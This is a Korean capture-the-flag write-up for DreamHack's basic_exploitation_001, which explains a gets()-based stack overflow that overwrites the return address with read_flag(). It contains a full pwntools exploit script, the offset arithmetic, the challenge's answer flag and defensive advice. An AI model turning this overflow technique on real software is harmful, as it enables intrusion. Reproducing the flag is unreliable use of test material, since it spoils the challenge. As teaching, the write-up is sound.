[🥉 Bronze 4] gets() 한 줄로 리턴 주소를 read_flag로 — DreamHack basic_exploitation_001 풀이

문제: DreamHack — basic_exploitation_001 분류: Pwnable (System Hacking) 난이도: 🥉 Bronze 4 FLAG: DH{01ec06f5e1466e44f86a79444a7cd116}

문제 개요

소스가 통째로 주어진다. 이름 그대로 시스템 해킹 입문용 문제로, 스택 버퍼 오버플로의 가장 기본형이다. 버퍼 뒤 리턴 주소를, 이미 바이너리 안에 들어 있는 "플래그를 출력해 주는 함수" 주소로 바꿔치기하면 된다. 셸코드를 올릴 필요도, 라이브러리 주소를 구할 필요도 없다.

file basic_exploitation_001 && pwn checksec basic_exploitation_001

No PIE라 코드·전역 주소가 0x8048000 기준으로 실행마다 고정이고, No canary라 스택을 넘쳐도 막아서는 카나리 값이 없다. NX가 켜져 있어 스택에서 셸코드를 실행하는 길은 막혀 있지만, 이 문제는 애초에 셸코드가 필요 없다.

🧩 배경 — gets()와 ret2win

C 표준 라이브러리의 gets()는 읽을 길이를 인자로 받지 않는다. 개행을 만날 때까지 무한정 입력을 버퍼에 써 넣는다. 버퍼가 몇 바이트인지 함수는 알지 못하므로, 버퍼보다 긴 입력이 들어오면 그대로 인접 메모리를 덮어버린다. 위험성이 너무 명백해 C11에서 표준에서 아예 제거됐고, 컴파일 시 warning: the 'gets' function is dangerous가 뜬다.

스택 프레임에서 지역 버퍼 바로 위(높은 주소 쪽)에는 저장된 EBP와 함수의 리턴 주소가 차례로 놓인다. 함수가 끝날 때 CPU는 이 리턴 주소로 ret 한다. gets()로 버퍼를 넘쳐 리턴 주소까지 덮으면, 함수가 끝나는 순간 우리가 원하는 곳으로 실행 흐름을 돌릴 수 있다.

이때 점프할 곳이 이미 바이너리 안에 있는 승리 함수(보통 win, get_flag, 여기선 read_flag)면 — 셸코드도, ROP 체인도 필요 없이 그 주소 하나만 리턴 자리에 넣으면 된다. 이 패턴을 ret2win이라고 부른다.

🔬 코드 정찰

소스 전체가 짧다.

void read_flag() {
    system("cat flag");          // (A) 플래그를 그냥 출력해 주는 함수
}
 
int main(int argc, char *argv[]) {
    char buf[0x80];              // (B) 128바이트 지역 버퍼
 
    initialize();
    gets(buf);                   // (C) 길이 제한 없는 입력 → 오버플로
 
    return 0;
}

볼 건 세 군데다.

• (A) read_flag()는 system("cat flag")로 현재 디렉토리의 flag 파일을 출력한다. main에서는 호출되지 않는다 — 우리가 직접 흐름을 끌어와야 한다.
• (B) buf는 0x80(128)바이트.
• (C) gets(buf)에 길이 검사가 없다. 128바이트를 넘겨 리턴 주소를 덮을 수 있다.

디스어셈블로 버퍼 위치와 read_flag 주소를 확정한다.

objdump -d -M intel basic_exploitation_001 | grep -A8 '<main>:'
objdump -d -M intel basic_exploitation_001 | grep -A6 '<read_flag>:'

두 가지가 확정된다.

• main에서 gets에 넘기는 버퍼는 lea eax,[ebp-0x80] — 즉 buf는 ebp-0x80 에 있다.
• read_flag는 0x80485b9에서 시작하고, 안에서 push 0x8048679("cat flag" 문자열) 후 system@plt를 호출한다.

No PIE라 0x80485b9는 실행마다 고정이다. 이 주소가 그대로 리턴 자리에 들어갈 값이 된다.

💣 핵심 — 오프셋 132 뒤가 리턴 주소

buf가 ebp-0x80에 있으니, 스택을 낮은 주소에서 높은 주소로 채워 가면 순서는 이렇다.

[ebp-0x80] ── buf 시작
   ...        128바이트 (0x80)
[ebp-0x00] ── saved EBP   (4바이트)
[ebp+0x04] ── return addr (4바이트)  ← 여기를 덮는다

buf부터 리턴 주소까지의 거리는 버퍼 0x80(128) + saved EBP 4 = 132바이트다. 즉 입력 132바이트는 그냥 패딩으로 흘려보내고, 그 다음 4바이트에 read_flag 주소를 32비트 리틀엔디언으로 넣으면 리턴 주소가 정확히 그 값으로 덮인다.

payload = b"A" * 132 + p32(0x80485b9)
          └ buf 128 + saved EBP 4 ┘   └ return address ┘

main이 return 0으로 끝나면서 ret을 실행하는 순간, 스택 top에 놓인 이 값으로 점프한다 → read_flag() → system("cat flag") → 플래그가 소켓으로 출력된다.

🎯 익스플로잇

페이로드 한 줄이 전부다. pwntools로 원격에 붙여 보내고, 뒤따라 나오는 DH{...}를 받아 찍게 했다.

#!/usr/bin/env python3
# basic_exploitation_001 (Dreamhack, Bronze 4) — ret2win
# buf=[ebp-0x80], gets() 스택 BOF, no canary / no PIE.
# ret 주소를 read_flag()로 덮으면 read_flag가 system("cat flag")를 실행한다.
from pwn import *
 
context.update(arch="i386", os="linux", log_level="error")
 
HOST, PORT = "host3.dreamhack.games", 9201
READ_FLAG  = 0x80485b9            # read_flag() -> system("cat flag")
OFFSET     = 0x80 + 4             # buf(0x80) + saved EBP(4) = 132
 
payload = b"A" * OFFSET + p32(READ_FLAG)
 
p = remote(HOST, PORT) if args.REMOTE else process("./basic_exploitation_001")
p.sendline(payload)
 
p.recvuntil(b"DH{")
flag = "DH{" + p.recvuntil(b"}").decode()
 
print(f"[+] offset    = {OFFSET}  (buf 0x80 + saved EBP 4)")
print(f"[+] read_flag = {hex(READ_FLAG)}")
print(f"[+] payload   = b'A'*{OFFSET} + p32({hex(READ_FLAG)})")
print(f"[+] FLAG      = {flag}")
p.close()

실행하면 리턴 한 번에 플래그가 떨어진다.

[+] offset    = 132  (buf 0x80 + saved EBP 4)
[+] read_flag = 0x80485b9
[+] payload   = b'A'*132 + p32(0x80485b9)
[+] FLAG      = DH{01ec06f5e1466e44f86a79444a7cd116}

플래그는 DH{01ec06f5e1466e44f86a79444a7cd116}.

gets가 출력하는 안내 메시지가 없어 페이로드를 보내자마자 곧장 read_flag의 cat flag 출력이 따라온다. 그래서 recvuntil(b"DH{")로 바로 플래그 헤더를 잡으면 된다.

📝 정리

gets()는 그 자체로 취약점이다.

길이를 받지 않는 입력 함수는 버퍼 크기를 보장할 방법이 없다. 이 문제의 코드는 gets(buf) 단 한 줄로 리턴 주소까지 가는 길을 열어 줬다. 실무에서는 fgets(buf, sizeof(buf), stdin)처럼 읽을 길이를 명시하는 함수로 바꾸는 것이 첫 번째 방어다. 컴파일러가 띄우는 gets 경고를 무시하지 않는 것만으로도 이런 클래스의 버그는 대부분 걸러진다.

보호 기법이 빠진 자리에 정확히 구멍이 난다.

리턴 주소를 덮어쓰는 공격은 원래 스택 카나리가 막는다. 함수 진입 시 버퍼와 리턴 주소 사이에 무작위 값을 심어 두고, 리턴 직전 그 값이 바뀌었는지 검사하기 때문이다. 이 바이너리는 카나리가 없어 덮어써도 검사가 없었다. 또 PIE/ASLR이 있었다면 read_flag 주소가 실행마다 달라져 한 번에 맞히지 못했을 텐데, No PIE라 0x80485b9가 고정이었다. 즉 카나리 + PIE 둘 중 하나만 켜져 있었어도 난이도가 확 올라간다. 방어는 결국 — 길이를 검사하는 입력 함수, 스택 카나리, ASLR(PIE) — 이 세 가지를 켜 두는 것으로 충분히 막힌다.